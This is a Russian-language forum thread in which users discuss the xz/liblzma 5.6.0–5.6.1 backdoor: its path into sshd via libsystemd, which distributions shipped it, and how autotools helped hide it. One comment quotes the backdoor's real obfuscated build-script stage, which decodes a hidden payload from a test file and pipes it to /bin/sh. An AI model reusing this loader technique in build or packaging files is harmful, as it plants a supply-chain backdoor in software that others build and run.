Бэкдор в xz/liblzma

В целом весь этот файл выглядит как какой то вирус.

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-h...

Чем грозит (не знаком с либой)?

m4 дрисня вся так выглядит.

Больше интересно что они сначала закоммитили бэкдор (внутри тестовых файлов), у них начал ругаться валгринд, они попытались это обойти и выложили новые тестовые файлы. И даже писали об этих «фиксах» в списках рассылки.

Интересно какие могут быть оправдания у разработчика xz? :)

Всякие левые стороны потенциально смогут получить доступ по SSH к системам с изменённой liblzma, потому что бекдор лезет именно в детали работы аутентификации ssh.

openssh does not directly use liblzma. However debian and several other distributions patch openssh to support systemd notification, and libsystemd does depend on lzma

А это что значит и при чем там божественный systemd? О_о

Взломом жопы.

В liblzma при сборке из официального тарболла попадает объектный файл в котором есть код переписывающий функции OpenSSL если процессом является sshd.

Я не смотрел в выложенный объектник (причём его почему-то Ghidra не может загрузить), но подозреваю что оно буквально даёт третьим лицам удаленный доступ на твой сервер.

Подозреваю речь идёт о sd_notify(), который реализован в libsystemd. А libsystemd в свою очередь зависит от liblzma.

Кстати о sd_notify(). Для него совершенно не обязательно линковаться с libsystemd. У него примитивный протокол, достаточно открыть UNIX сокет и кинуть в него строчку, всё по документации из мануала самого sd_notify().

Так системы без systemd подвержены или нет?

Это зависит от того прилинковали ли sshd к libsystemd.

libsystemd не требует наличия systemd, несмотря на название. Как и протокол sd_notify() реализован не только systemd, но даже топорным start-stop-daemon.

Я бы не грешил на systemd, это просто один из возможных путей линковки liblzma. Его потенциально может притянуть и libselinux через libpam.

Вот всем будет урок как модные упаковщики вместо проверенного gzip использовать.

However debian and several other distributions patch openssh to support systemd notification

Наверно в devuan этот патч вырезали.

А если в gzip прилетит такой же подозрительный коммит, который не глядя соберут?

Что тогда?

А у gzip авторы десятки лет в него вложили без вредительства и вряд ли неожиданно начнут заниматься этим.

Ну так и тут авторы десятки лет (xz представили в 2009 году) без вредительства писали код.

Ну вообще 15 лет это не «десятки». А так, zlib по своей фундаментальности находится где-то рядом с libc, а gzip (утилита) - где-то рядом с cat или grep.

zlib по своей фундаментальности находится где-то рядом с libc

Линуксоиды свою glibc нередко ломают. Но прочувствовать на себе это могут только пользователи роллинга.

Это ничего не значит. Захотят, тебе бэкдор например в glibc положат. Ты пробовал разбираться в его исходниках? Я пробовал. Там достаточно мест где можно что-нибудь спрятать.

Было бы желание. В частности этот бэкдор из liblzma как раз работает через особенности glibc. И так будет всегда, пока у нас есть переусложненный гнутый libc и лапша из дедовских скриптов именуемая autotools.

А, ну теперь понятно, почему в Генте «откатили», на всякий случай

[ebuild     UD ] app-arch/xz-utils-5.4.6-r1::gentoo [5.6.1::gentoo]

Можно для Ъ, в каких версиях бэкдор есть?

5.6.0/5.6.1

Как-то так.
Скорее всего, все, что >=5.6.x

Archlinux точно соснул, а также Debian Testing.

Debian Stable и Fedora 39 в порядке, по Fedora 40 непонятно — в testing точно попало 3 недели назад (возможно, и в iso’шки).

А Ubuntu 22.04 LTS?

Даже 23.10 нет.

Версия с бэкдором в Арч попала, но OpenSSH в нём не слинкован с liblzma.

Там внизу ссылка на «detect.sh» https://openwall.com/lists/oss-security/2024/03/29/4/3 , проверь сам

5.6.1-1 -> 5.6.1-2

я вот тоже не поняла планомерного и целенаправленного внедрения какого-то трояна в код. «случайно» такое не бывает. и это надо совсем упороться, чтобы такое не заметить, да ещё и пытаться скрыть.

впрочем, я не проверяла, есть ли эти бэкдоры на их собственном сервере. в тексте на openwall упоминается гитхаб, но у xz есть свой сервер, с которого, собственно, обычно и качаются сорцы, а не с гитхаба.

В Void обновление прилетело

liblzma    downgrade 5.6.0_1   5.4.6_2   99KB

а этот линк с liblzma появляется из-за ненужно-д. некоторые дистры типа Дебиана линкуют многие сервисы с библиотекой от ненужно-д, а в ней эта зависимость.

это к вопросу о ненужно-д, о ненужно и о том, что не нужно тащить ненужные зависимости в код. вообще, в целом.

если у тебя Void с musl, то это не актуально. они сами сегодня об этом писали. собственно, я от разработчиков Void и узнала об этой фигне с xz.

а вообще, лучше не торопиться с хватанием свежих версий разных библиотек и затаскиванием их в продакшн. не всё хорошо, что свежее.

Тут наоборот, троян пробрался в релизные тарболлы, а в git его нет.

В общем не уверен, что теперь стоит доверять tukaani project, которые как раз мейнтейнят xz/liblzma.

ну, я сильно не вникала. у меня даже версия системы, которую я ещё недопатчила, имеет более старый xz. я не стала обновлять вещи, которые не имели критических изменений. работает - не трожь.

но таки да, теперь вопросы к разработчикам появляются прямо очень конкретные. наверное, стоит xz вообще перестать обновлять, а то мало ли что там ещё в следующий раз может прилететь.

мне ещё интересно, можно ли это рассматривать, как создание и распространение вредоносного кода и осудить того, кто это туда внедрил, через официальный суд, например.

я думаю, что подкоп под опенсорц надо карать максимально серьёзно.

ахахa, DIA (управление военной разведки) что ты делаешь, прекрати.

Я думаю, да. Там всё настолько смешно, что бэкдор сначала крашился под valgrind, отчего разработчик пытался пофиксить в нём баги (!) и потом залил новую версию бэкдора. И в списках рассылки нахваливал последнюю версию.

Это не может быть случайностью.

lul:

<p class="border-block">
	<b>Note</b>: GitHub automatically includes two archives
	Source code (zip) and Source code (tar.gz) in the releases.
	These archives cannot be disabled and should be ignored.
</p>

да, эта история отдельно доставила. отмазаться не получится. надеюсь, какой-нибудь богатенький дистр или фонд FSF выкатят судебный иск.

лапша из дедовских скриптов именуемая autotools

И правда, ведь именно благодаря ей удалось замаскировать бэкдор в этих какерских лапшевидных shell-портянках, которые никто никогда не просматривает:

####Hello####
#345U211267$^D330^W
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Ей-богу, лучше бы на Python сделали систему сборки. Нет, не хотим вменяемость и простоту проверки/ревизии коммитов, хотим тормозить вызовом внешних утилит и какерить двадцатью видами кавычек, эскейпить чепуху 30-тью слешами \\\\\\ и неэскейпить пробелы, а потом нарываться на rm -Rf $HOME как совсем недавно в новостях про KDE было.

Поскорее бы из мира Linux и UNIX-like систем удалили все Shell-скрипты длиннее 10 строк и 1024 символов. Shell/Bash не должен существовать в современном мире, он максимально не интуитивен, откровенно опасен и более того, часто нарушает целостность информации: Эту историю мы назовем «почему я разлюбил QEMU...»

Зато у них в автотулзах test x"$var" = "xyes" ради совместимости с какими-то древними шеллами. Вдруг какой-нибудь анон соберёт их под оригинальный Unix!

ради совместимости с какими-то древними шеллами. Вдруг какой-нибудь анон соберёт их под оригинальный Unix!

Похоже что последним таким аноном который ковырялся со всем этим барахлом и началом истории autotools, был я:

Собираем Perl прямиком из 1987 года

^__^

Как соснул арч, когда добавление бэкдора закондишено на окружения сборки deb или rpm?

вот не надо притягивать. малвари на пистоне написано куда больше. именно потому, что там мозгов не нужно. баш и автотулзы прекрасно работают. и написание малвари абсолютно ортогонально системам сборки и прочего.

кстати, в отличие от пистона, автотулзы и баш ничего не тащат извне, с неизвестных чужих серверов. так что уязвимости на них ещё постараться внедрить надо. в отличие от ненужно.

Там более подробно новость запилили В коде xz версий 5.6.0 и 5.6.1 обнаружен бэкдор
Dimez, hobbit, объединить бы темы

Где это? В Арч оно попало, официально подтверждено.

https://archlinux.org/news/the-xz-package-has-been-backdoored/

Другое дело, инжект в sshd не сработает.

В коде xz версий 5.6.0 и 5.6.1 обнаружен бэкдор (комментарий) — видимо, я всё же не прав.

А есть нормальное понимание того, как именно этот зловред ломает ссш?

Сходи по ссылке на openwall, там вкусно (кишки динамического компоновщика и вообще линуксовых тулчейнов прилагаются).

Есть чёткое понимание, но вслух выразить это понимание трудновато.

Не Ъ, а !Ъ

Мемы надо использовать правильно!